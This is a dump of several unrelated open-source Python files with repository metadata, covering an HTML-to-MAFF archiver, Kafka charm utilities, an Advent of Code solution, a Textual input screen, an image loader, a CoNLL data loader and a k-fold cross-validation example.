len(out_filename) > 0, ERR_EMPTY_FILENAME\n out_filename = out_filename[:145] + \".maff\"\n dir_files = inp_file_with_path[:inp_file_with_path.rfind(\".\")] + DIR_FILES_POSTFIX\n\n assert os.path.isdir(dir_files), ERR_DIR_NOT_FOUND.format(dir_files)\n assert not os.path.exists(\n os.path.join(out_path, out_filename)\n ), ERR_MAFF_EXISTS.format(out_filename)\n\n shutil.copy(inp_file_with_path,\n os.path.join(temp_path, \"000\", INDEX_HTML_PREFIX + INDEX_HTML_POSTFIX))\n shutil.copytree(dir_files, os.path.join(temp_path, \"000\", INDEX_HTML_PREFIX + DIR_FILES_POSTFIX))\n\n with open(os.path.join(temp_path, \"000\", INDEX_HTML_PREFIX + INDEX_HTML_POSTFIX), encoding=\"utf-8\") as f:\n data = f.read()\n\n data = re.sub(r\"\\\"[^ ]*_files/\", f\"\\\"{INDEX_HTML_PREFIX}{DIR_FILES_POSTFIX}/\", data)\n\n with open(os.path.join(temp_path, \"000\", INDEX_HTML_PREFIX + INDEX_HTML_POSTFIX), \"w\", encoding=\"utf-8\") as f:\n f.write(data)\n\n shutil.make_archive(os.path.abspath(os.path.join(out_path, out_filename)),\n 'zip',\n os.path.abspath(TEMP_DIR))\n os.rename(os.path.join(out_path, out_filename + \".zip\"), os.path.join(out_path, out_filename))\n os.utime(os.path.join(out_path, out_filename), (stat.st_atime, stat.st_mtime))\n shutil.rmtree(os.path.join(temp_path, \"000\", INDEX_HTML_PREFIX + DIR_FILES_POSTFIX))\n os.remove(os.path.join(temp_path, \"000\", INDEX_HTML_PREFIX + INDEX_HTML_POSTFIX))\n\n return out_filename\n\n\ndef save_log(save_path, log_list, file_format=\"txt\"):\n \"\"\"Save log to file\"\"\"\n file_format = file_format.lower()\n if file_format not in (\"csv\", \"txt\"):\n return\n\n if file_format == \"txt\":\n with open(os.path.join(save_path, TXT_LOG_NAME), \"w\") as f:\n for log in log_list:\n f.write(_format_log_row_to_txt(log))\n else:\n with open(os.path.join(save_path, \"log.csv\"), \"w\") as f:\n pass # TODO: save CSV\n\n\nif __name__ == '__main__':\n # TODO: get from args path, log format, etc.\n if not os.path.exists(DEFAULT_OUTPUT_DIR):\n os.mkdir(DEFAULT_OUTPUT_DIR)\n os.mkdir(TEMP_DIR)\n os.mkdir(os.path.join(TEMP_DIR, \"000\"))\n with open(os.path.join(TEMP_DIR, \"000\", INDEX_RDF_FILENAME), \"w\") as f:\n f.write(INDEX_RDF_DATA)\n\n logs = []\n for html_file in _get_html_files(\".\"):\n original_filename = html_file.split(os.path.sep)[-1]\n status, message, new_filename = \"OK\", \"\", \"\"\n try:\n new_filename = pack_to_maff(html_file)\n except Exception as e:\n status = \"Failure\"\n message = e\n logs.append(LogRow(original_filename, new_filename, status, message))\n print(_format_log_row_to_txt(logs[-1]), end=\"\")\n\n save_log(DEFAULT_OUTPUT_DIR, logs)\n shutil.rmtree(TEMP_DIR)\n", "repo_name": "etoFlash/html_to_maff", "sub_path": "html_to_maff.py", "file_name": "html_to_maff.py", "file_ext": "py", "file_size_in_byte": 4793, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "uuid.uuid1", "line_number": 16, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 35, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.stat", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "shutil.copytree", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "shutil.make_archive", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.utime", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 112, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 113, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 131, "usage_type": "call"}]} {"seq_id": "19099104272", "text": "import base64\nimport logging\nimport re\nimport secrets\nimport string\nfrom typing import Dict, List, Optional, Set\n\nfrom charms.zookeeper.v0.client import ZooKeeperManager\nfrom kazoo.exceptions import AuthFailedError, NoNodeError\nfrom ops.model import Container, Unit\nfrom ops.pebble import ExecError\nfrom tenacity import retry\nfrom tenacity.retry import retry_if_not_result\nfrom tenacity.stop import stop_after_attempt\nfrom tenacity.wait import wait_fixed\n\nfrom literals import BINARIES_PATH, CONF_PATH, JAVA_HOME\n\nlogger = logging.getLogger(__name__)\n\n\n@retry(\n # retry to give ZK time to update its broker zNodes before failing\n wait=wait_fixed(5),\n stop=stop_after_attempt(6),\n retry_error_callback=(lambda state: state.outcome.result()),\n retry=retry_if_not_result(lambda result: True if result else False),\n)\ndef broker_active(unit: Unit, zookeeper_config: Dict[str, str]) -> bool:\n \"\"\"Checks ZooKeeper for client connections, checks for specific broker id.\n\n Args:\n unit: the `Unit` to check connection of\n zookeeper_config: the relation provided by ZooKeeper\n\n Returns:\n True if broker id is recognised as active by ZooKeeper. Otherwise False.\n \"\"\"\n broker_id = unit.name.split(\"/\")[1]\n brokers = get_active_brokers(zookeeper_config=zookeeper_config)\n chroot = zookeeper_config.get(\"chroot\", \"\")\n return f\"{chroot}/brokers/ids/{broker_id}\" in brokers\n\n\ndef get_active_brokers(zookeeper_config: Dict[str, str]) -> Set[str]:\n \"\"\"Gets all brokers currently connected to ZooKeeper.\n\n Args:\n zookeeper_config: the relation data provided by ZooKeeper\n\n Returns:\n Set of active broker ids\n \"\"\"\n chroot = zookeeper_config.get(\"chroot\", \"\")\n hosts = zookeeper_config.get(\"endpoints\", \"\").split(\",\")\n username = zookeeper_config.get(\"username\", \"\")\n password = zookeeper_config.get(\"password\", \"\")\n\n zk = ZooKeeperManager(hosts=hosts, username=username, password=password)\n path = f\"{chroot}/brokers/ids/\"\n\n try:\n brokers = zk.leader_znodes(path=path)\n # auth might not be ready with ZK after relation yet\n except (NoNodeError, AuthFailedError) as e:\n logger.debug(str(e))\n return set()\n\n return brokers\n\n\ndef generate_password() -> str:\n \"\"\"Creates randomized string for use as app passwords.\n\n Returns:\n String of 32 randomized letter+digit characters\n \"\"\"\n return \"\".join([secrets.choice(string.ascii_letters + string.digits) for _ in range(32)])\n\n\ndef parse_tls_file(raw_content: str) -> str:\n \"\"\"Parse TLS files from both plain text or base64 format.\"\"\"\n if re.match(r\"(-+(BEGIN|END) [A-Z ]+-+)\", raw_content):\n return raw_content\n return base64.b64decode(raw_content).decode(\"utf-8\")\n\n\ndef run_bin_command(\n container: Container,\n bin_keyword: str,\n bin_args: List[str],\n extra_args: str,\n zk_tls_config_filepath: Optional[str] = None,\n) -> str:\n \"\"\"Runs kafka bin command with desired args.\n\n Args:\n container: the container to run on\n bin_keyword: the kafka shell script to run\n e.g `configs`, `topics` etc\n bin_args: the shell command args\n extra_args (optional): the desired `KAFKA_OPTS` env var values for the command\n zk_tls_config_filepath (optional): the path to properties file for ZK TLS\n\n Returns:\n String of kafka bin command output\n \"\"\"\n zk_tls_config_file = zk_tls_config_filepath or f\"{CONF_PATH}/server.properties\"\n environment = {\"KAFKA_OPTS\": \" \".join(extra_args), \"JAVA_HOME\": JAVA_HOME}\n command = (\n [f\"{BINARIES_PATH}/bin/kafka-{bin_keyword}.sh\"]\n + bin_args\n + [f\"--zk-tls-config-file={zk_tls_config_file}\"]\n )\n\n try:\n process = container.exec(command=command, environment=environment)\n output, _ = process.wait_output()\n return output\n except ExecError as e:\n logger.error(str(e.stderr))\n raise e\n\n\ndef push(container: Container, content: str, path: str) -> None:\n \"\"\"Wrapper for writing a file and contents to a container.\n\n Args:\n container: container to push the files into\n content: the text content to write to a file path\n path: the full path of the desired file\n \"\"\"\n container.push(path, content, make_dirs=True)\n", "repo_name": "MrE-Fog/kafka-k8s-operator", "sub_path": "src/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4306, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "ops.model.Unit", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 29, "usage_type": "name"}, {"api_name": "tenacity.retry", "line_number": 22, "usage_type": "call"}, {"api_name": "tenacity.wait.wait_fixed", "line_number": 24, "usage_type": "call"}, {"api_name": "tenacity.stop.stop_after_attempt", "line_number": 25, "usage_type": "call"}, {"api_name": "tenacity.retry.retry_if_not_result", "line_number": 27, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 45, "usage_type": "name"}, {"api_name": "charms.zookeeper.v0.client.ZooKeeperManager", "line_number": 59, "usage_type": "call"}, {"api_name": "kazoo.exceptions.NoNodeError", "line_number": 65, "usage_type": "name"}, {"api_name": "kazoo.exceptions.AuthFailedError", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 45, "usage_type": "name"}, {"api_name": "secrets.choice", "line_number": 78, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 78, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 78, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 83, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 85, "usage_type": "call"}, {"api_name": "ops.model.Container", "line_number": 89, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 93, "usage_type": "name"}, {"api_name": "literals.CONF_PATH", "line_number": 108, "usage_type": "name"}, {"api_name": "literals.JAVA_HOME", "line_number": 109, "usage_type": "name"}, {"api_name": "literals.BINARIES_PATH", "line_number": 111, "usage_type": "name"}, {"api_name": "ops.pebble.ExecError", "line_number": 120, "usage_type": "name"}, {"api_name": "ops.model.Container", "line_number": 125, "usage_type": "name"}]} {"seq_id": "73424153211", "text": "'''\nSolution for Advent of Code 2020, Day 1.\nhttps://adventofcode.com/2020/day/5\nAdam Matan , 2021\n'''\n\nimport sys\nimport logging\n\ndef get_input(filename):\n with open(filename) as f:\n expenses = [int(s) for s in f.readlines()]\n return expenses\n\ndef part_1_naive(expenses):\n '''O(N^2) soution: Two nested loops\n >>> part_1_naive(get_input('01.txt'))\n 955584\n >>> part_1_naive(get_input('01-small.txt'))\n 514579\n '''\n for i in expenses:\n for j in expenses:\n if i+j == 2020:\n return i*j\n raise ValueError('No match found')\n\ndef part_1_sets(expenses):\n '''O(N) soution: Convert the list to a set and iterate it.\n >>> part_1_sets(get_input('01.txt')) == part_1_naive(get_input('01.txt'))\n True\n >>> part_1_sets(get_input('01-small.txt')) == part_1_naive(get_input('01-small.txt'))\n True\n '''\n expenses = set(expenses)\n while expenses:\n current_expense = expenses.pop()\n complement = 2020 - current_expense\n if complement in expenses:\n return current_expense * complement\n raise ValueError('No match found')\n\ndef part_2(expenses):\n '''\n >>> part_2(get_input('01.txt'))\n 287503934\n >>> part_2(get_input('01-small.txt'))\n 241861950\n '''\n for i in expenses:\n for j in expenses:\n for k in expenses:\n if i+j+k == 2020:\n return i*j*k\n raise ValueError('No match found')\n\nif __name__ == '__main__':\n filename = sys.argv[1] if len(sys.argv) > 1 else '01.txt'\n file_input = get_input(filename)\n logging.basicConfig(level='WARN') # Set to INFO for debugging\n print(part_1_naive(file_input), part_1_sets(file_input))\n print(part_2(file_input))\n\n", "repo_name": "adamatan/advent-of-code-2020", "sub_path": "01.py", "file_name": "01.py", "file_ext": "py", "file_size_in_byte": 1765, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 58, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 60, "usage_type": "call"}]} {"seq_id": "4348968085", "text": "\"\"\"coBib's input screen.\n\nThis screen is an interactive input screen. It automatically focuses the central `Input` widget but\nalso provides panels to displays user prompts, help information and other popups.\n\n.. warning::\n\n This module makes no API stability guarantees! Refer to `cobib.ui.components` for more details.\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom textual.app import ComposeResult\nfrom textual.screen import ModalScreen\nfrom textual.widget import Widget\nfrom textual.widgets import Input, Static\nfrom typing_extensions import override\n\nfrom .popup_panel import PopupPanel\n\n\nclass InputScreen(ModalScreen[str]):\n \"\"\"coBib's input screen.\"\"\"\n\n AUTO_FOCUS = \"Input\"\n\n BINDINGS = [(\"escape\", \"escape\", \"Quit the prompt\")]\n \"\"\"\n | Key(s) | Description |\n | :- | :- |\n | escape | When enabled, quits the interactive input screen. |\n \"\"\"\n\n DEFAULT_CSS = \"\"\"\n InputScreen {\n align: center middle;\n }\n\n #input {\n padding: 1 2;\n width: 80%;\n height: auto;\n background: $surface;\n }\n\n #prompt {\n padding: 1 2;\n width: 80%;\n height: auto;\n background: $surface;\n }\n\n #help {\n padding: 1 2;\n width: 80%;\n height: auto;\n background: $surface;\n }\n\n #error {\n padding: 1 2;\n width: 80%;\n height: auto;\n background: red 20%;\n }\n\n #panel {\n layer: default;\n layout: vertical;\n align: center bottom;\n padding: 0 2;\n width: 80%;\n height: auto;\n background: $surface;\n }\n \"\"\"\n\n escape_enabled: bool = True\n \"\"\"Enables the `escape` key binding.\"\"\"\n\n @override\n def compose(self) -> ComposeResult:\n yield PopupPanel(id=\"panel\")\n inp = Input(id=\"input\")\n yield inp\n\n async def on_resume(self) -> None:\n \"\"\"The hook triggered when receiving the `Resume` event.\n\n Basically this method clears all pre-existing popups.\n \"\"\"\n await self.query_one(PopupPanel).query(Widget).remove()\n\n async def action_escape(self) -> None:\n \"\"\"The action to perform when the `Escape` key is pressed.\"\"\"\n if self.escape_enabled:\n self.dismiss(\"\")\n await self.query(Static).remove()\n\n async def on_input_submitted(self, event: Input.Submitted) -> None:\n \"\"\"The action to perform when receiving the `Submitted` event.\n\n In this case, unmount the widget itself if `catch` is set. Otherwise the event gets\n [bubbled up](https://textual.textualize.io/guide/events/#bubbling).\n \"\"\"\n self.dismiss(event.input.value)\n await self.query(Static).remove()\n event.stop()\n", "repo_name": "mrossinek/cobib", "sub_path": "src/cobib/ui/components/input_screen.py", "file_name": "input_screen.py", "file_ext": "py", "file_size_in_byte": 2865, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 30, "dataset": "github-code", "pt": "78", "api": [{"api_name": "textual.screen.ModalScreen", "line_number": 22, "usage_type": "name"}, {"api_name": "popup_panel.PopupPanel", "line_number": 83, "usage_type": "call"}, {"api_name": "textual.widgets.Input", "line_number": 84, "usage_type": "call"}, {"api_name": "typing_extensions.override", "line_number": 81, "usage_type": "name"}, {"api_name": "textual.app.ComposeResult", "line_number": 82, "usage_type": "name"}, {"api_name": "textual.widget.Widget", "line_number": 92, "usage_type": "argument"}, {"api_name": "popup_panel.PopupPanel", "line_number": 92, "usage_type": "argument"}, {"api_name": "textual.widgets.Static", "line_number": 98, "usage_type": "argument"}, {"api_name": "textual.widgets.Input.Submitted", "line_number": 100, "usage_type": "attribute"}, {"api_name": "textual.widgets.Input", "line_number": 100, "usage_type": "name"}, {"api_name": "textual.widgets.Static", "line_number": 107, "usage_type": "argument"}]} {"seq_id": "26086844575", "text": "from stemseg.config import cfg\nfrom stemseg.structures import ImageList\nfrom stemseg.utils import transforms\nfrom torch.utils.data import Dataset\nfrom stemseg.data.common import scale_and_normalize_images, compute_resize_params_2\n\nimport cv2\nimport numpy as np\nimport torch.nn.functional as F\n\n\nclass InferenceImageLoader(Dataset):\n def __init__(self, images):\n super().__init__()\n\n self.np_to_tensor = transforms.ToTorchTensor(format='CHW')\n\n self.images = images\n\n def __len__(self):\n return len(self.images)\n\n def __getitem__(self, index):\n image = self.images[index]\n\n if isinstance(image, str):\n image = cv2.imread(image, cv2.IMREAD_COLOR)\n elif not isinstance(image, np.ndarray):\n raise ValueError(\"Unexpected type for image: {}\".format(type(image)))\n\n image_height, image_width = image.shape[:2]\n\n # convert image to tensor\n image = self.np_to_tensor(image).float()\n\n # resize image\n new_width, new_height, _ = compute_resize_params_2((image_width, image_height), cfg.INPUT.MIN_DIM, cfg.INPUT.MAX_DIM)\n image = F.interpolate(image.unsqueeze(0), (new_height, new_width), mode='bilinear', align_corners=False)\n\n # compute scale factor for image resizing\n image = scale_and_normalize_images(image, cfg.INPUT.IMAGE_MEAN, cfg.INPUT.IMAGE_STD, not cfg.INPUT.BGR_INPUT, cfg.INPUT.NORMALIZE_TO_UNIT_SCALE)\n\n return image.squeeze(0), (image_width, image_height), index\n\n\ndef collate_fn(samples):\n image_seqs, original_dims, idxes = zip(*samples)\n image_seqs = [[im] for im in image_seqs]\n image_seqs = ImageList.from_image_sequence_list(image_seqs, original_dims)\n return image_seqs, idxes\n", "repo_name": "sabarim/STEm-Seg", "sub_path": "stemseg/data/inference_image_loader.py", "file_name": "inference_image_loader.py", "file_ext": "py", "file_size_in_byte": 1743, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 150, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 12, "usage_type": "name"}, {"api_name": "stemseg.utils.transforms.ToTorchTensor", "line_number": 16, "usage_type": "call"}, {"api_name": "stemseg.utils.transforms", "line_number": 16, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 28, "usage_type": "attribute"}, {"api_name": "stemseg.data.common.compute_resize_params_2", "line_number": 37, "usage_type": "call"}, {"api_name": "stemseg.config.cfg.INPUT", "line_number": 37, "usage_type": "attribute"}, {"api_name": "stemseg.config.cfg", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 38, "usage_type": "name"}, {"api_name": "stemseg.data.common.scale_and_normalize_images", "line_number": 41, "usage_type": "call"}, {"api_name": "stemseg.config.cfg.INPUT", "line_number": 41, "usage_type": "attribute"}, {"api_name": "stemseg.config.cfg", "line_number": 41, "usage_type": "name"}, {"api_name": "stemseg.structures.ImageList.from_image_sequence_list", "line_number": 49, "usage_type": "call"}, {"api_name": "stemseg.structures.ImageList", "line_number": 49, "usage_type": "name"}]} {"seq_id": "40481731283", "text": "import os, sys\n\nimport argparse\n\n\ndef get_files(directory):\n results = []\n for file_name in os.listdir(directory):\n tmp, ext = os.path.splitext(file_name)\n if ext == '.jpg':\n results.append(file_name)\n return results\n\n\n\nclass_name = 'squats_down'\n\nINPUT_DIRECTORY = 'traindata/' + class_name\n\n\n\nif __name__ == '__main__':\n\n\n parser = argparse.ArgumentParser(description='rename image')\n parser.add_argument('--start', type=int, default=0)\n\n args = parser.parse_args()\n\n start = args.start\n\n for f in get_files(INPUT_DIRECTORY):\n new_file_name = 'img_'+ class_name + '_' + str(start) + '.jpg'\n os.rename(os.path.join(INPUT_DIRECTORY , f),os.path.join(INPUT_DIRECTORY ,new_file_name))\n print(\"File renamed!\",new_file_name)\n start += 1", "repo_name": "Nas-virat/Exercise-counting-program-using-tf-pose-estimation-technique", "sub_path": "rename.py", "file_name": "rename.py", "file_ext": "py", "file_size_in_byte": 809, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.listdir", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 25, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}]} {"seq_id": "31809437526", "text": "from contextlib import closing\nfrom itertools import chain, groupby\n\nimport numpy as np\nfrom sklearn.feature_extraction import FeatureHasher\nfrom sklearn.externals import six\n\n\ndef load_conll(f, features, n_features=(2 ** 16), split=False):\n \"\"\"Load CoNLL file, extract features on the tokens and vectorize them.\n\n The ConLL file format is a line-oriented text format that describes\n sequences in a space-separated format, separating the sequences with\n blank lines. Typically, the last space-separated part is a label.\n\n Since the tab-separated parts are usually tokens (and maybe things like\n part-of-speech tags) rather than feature vectors, a function must be\n supplied that does the actual feature extraction. This function has access\n to the entire sequence, so that it can extract context features.\n\n A ``sklearn.feature_extraction.FeatureHasher`` (the \"hashing trick\")\n is used to map symbolic input feature names to columns, so this function\n dos not remember the actual input feature names.\n\n Parameters\n ----------\n f : {string, file-like}\n Input file.\n features : callable\n Feature extraction function. Must take a list of tokens l that\n represent a single sequence and an index i into this list, and must\n return an iterator over strings that represent the features of l[i].\n n_features : integer, optional\n Number of columns in the output.\n split : boolean, default=False\n Whether to split lines on whitespace beyond what is needed to parse\n out the labels. This is useful for CoNLL files that have extra columns\n containing information like part of speech tags.\n\n Returns\n -------\n X : scipy.sparse matrix, shape (n_samples, n_features)\n Samples (feature vectors), as a single sparse matrix.\n y : np.ndarray, dtype np.string, shape n_samples\n Per-sample labels.\n lengths : np.ndarray, dtype np.int32, shape n_sequences\n Lengths of sequences within (X, y). The sum of these is equal to\n n_samples.\n \"\"\"\n fh = FeatureHasher(n_features=n_features, input_type=\"string\")\n labels = []\n lengths = []\n\n with _open(f) as f:\n raw_X = _conll_sequences(f, features, labels, lengths, split)\n X = fh.transform(raw_X)\n\n return X, np.asarray(labels), np.asarray(lengths, dtype=np.int32)\n\n\ndef _conll_sequences(f, features, labels, lengths, split):\n # Divide input into blocks of empty and non-empty lines.\n lines = (str.strip(line) for line in f)\n groups = (grp for nonempty, grp in groupby(lines, bool) if nonempty)\n\n for group in groups:\n group = list(group)\n\n obs, lbl = zip(*(ln.rsplit(None, 1) for ln in group))\n if split:\n obs = [x.split() for x in obs]\n\n labels.extend(lbl)\n lengths.append(len(lbl))\n for i in six.moves.xrange(len(obs)):\n yield features(obs, i)\n\n\ndef _open(f):\n return closing(open(f) if isinstance(f, six.string_types) else f)\n", "repo_name": "larsmans/seqlearn", "sub_path": "seqlearn/datasets.py", "file_name": "datasets.py", "file_ext": "py", "file_size_in_byte": 3013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 667, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sklearn.feature_extraction.FeatureHasher", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 58, "usage_type": "attribute"}, {"api_name": "itertools.groupby", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.externals.six.moves.xrange", "line_number": 75, "usage_type": "call"}, {"api_name": "sklearn.externals.six.moves", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sklearn.externals.six", "line_number": 75, "usage_type": "name"}, {"api_name": "contextlib.closing", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.externals.six.string_types", "line_number": 80, "usage_type": "attribute"}, {"api_name": "sklearn.externals.six", "line_number": 80, "usage_type": "name"}]} {"seq_id": "744542870", "text": "# k-Fold Cross Validation\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('Social_Network_Ads.csv')\nfeatures = dataset.iloc[:, [2, 3]].values\nlabels = dataset.iloc[:, 4].values\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nfeatures_train, features_test, labels_train, labels_test = train_test_split(features, labels, test_size = 0.25, random_state = 0)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nfeatures_train = sc.fit_transform(features_train)\nfeatures_test = sc.transform(features_test)\n\n# Fitting Knn to the Training set\nfrom sklearn.neighbors import KNeighborsClassifier\nclassifier = KNeighborsClassifier(n_neighbors = 5, metric = 'minkowski', p = 2)\nclassifier.fit(features_train, labels_train)\n\n# Predicting the Test set results\nlabels_pred = classifier.predict(features_test)\n\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(labels_test, labels_pred)\n\n# Applying k-Fold Cross Validation\nfrom sklearn.model_selection import cross_val_score\naccuracies = cross_val_score(estimator = classifier, X = features_train, y = labels_train, cv = 10)\nprint (\"mean accuracy is\",accuracies.mean())\nprint (accuracies.std())\n\n# Visualising the Training set results\n# Plot the decision boundary. For that, we will assign a color to each\n \n\nx_min, x_max = features_train[:, 0].min() - 1, features_train[:, 0].max() + 1\ny_min, y_max = features_train[:, 1].min() - 1, features_train[:, 1].max() + 1\n\nxx, yy = np.meshgrid(np.arange(x_min, x_max, 0.1),\n np.arange(y_min, y_max, 0.1))\n# Obtain labels for each point in mesh using the model.\n# ravel() is equivalent to flatten method.\n# data dimension must match training data dimension, hence using ravel\nZ = classifier.predict(np.c_[xx.ravel(), yy.ravel()]).reshape(xx.shape)\n\n# Plot the points\nplt.plot(features_test[labels_test == 0, 0], features_test[labels_test == 0, 1], 'ro', label='Class 1')\nplt.plot(features_test[labels_test == 1, 0], features_test[labels_test == 1, 1], 'bo', label='Class 2')\n#plot the decision boundary\nplt.contourf(xx, yy, Z, alpha=1.0)\n\nplt.show()\n\n\n\n\"\"\"\nIn K Fold cross validation, the data is divided into k subsets. \nNow the holdout method is repeated k times, such that each time, \none of the k subsets is used as the test set/ validation set and \nthe other k-1 subsets are put together to form a training set. \nThe error estimation is averaged over all k trials to get total \neffectiveness of our model. As can be seen, every data point gets \nto be in a validation set exactly once, and gets to be in a \ntraining set k-1 times. T\nhis significantly reduces bias as we are using most of the data \nfor fitting, and also significantly reduces variance as most of\n the data is also being used in validation set. Interchanging \n the training and test sets also adds to the effectiveness of \n this method. As a general rule and empirical evidence,\n K = 5 or 10 is generally preferred, but nothing’s fixed and \n it can take any value.\n \n ANimation:\n https://yihui.name/animation/example/cv-ani/\n\"\"\"", "repo_name": "ankitgokhroo68368/FSDP_2019", "sub_path": "Day_25/k_fold_cross_validation_Sample_code.py", "file_name": "k_fold_cross_validation_Sample_code.py", "file_ext": "py", "file_size_in_byte": 3249, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 48, "usage_type": 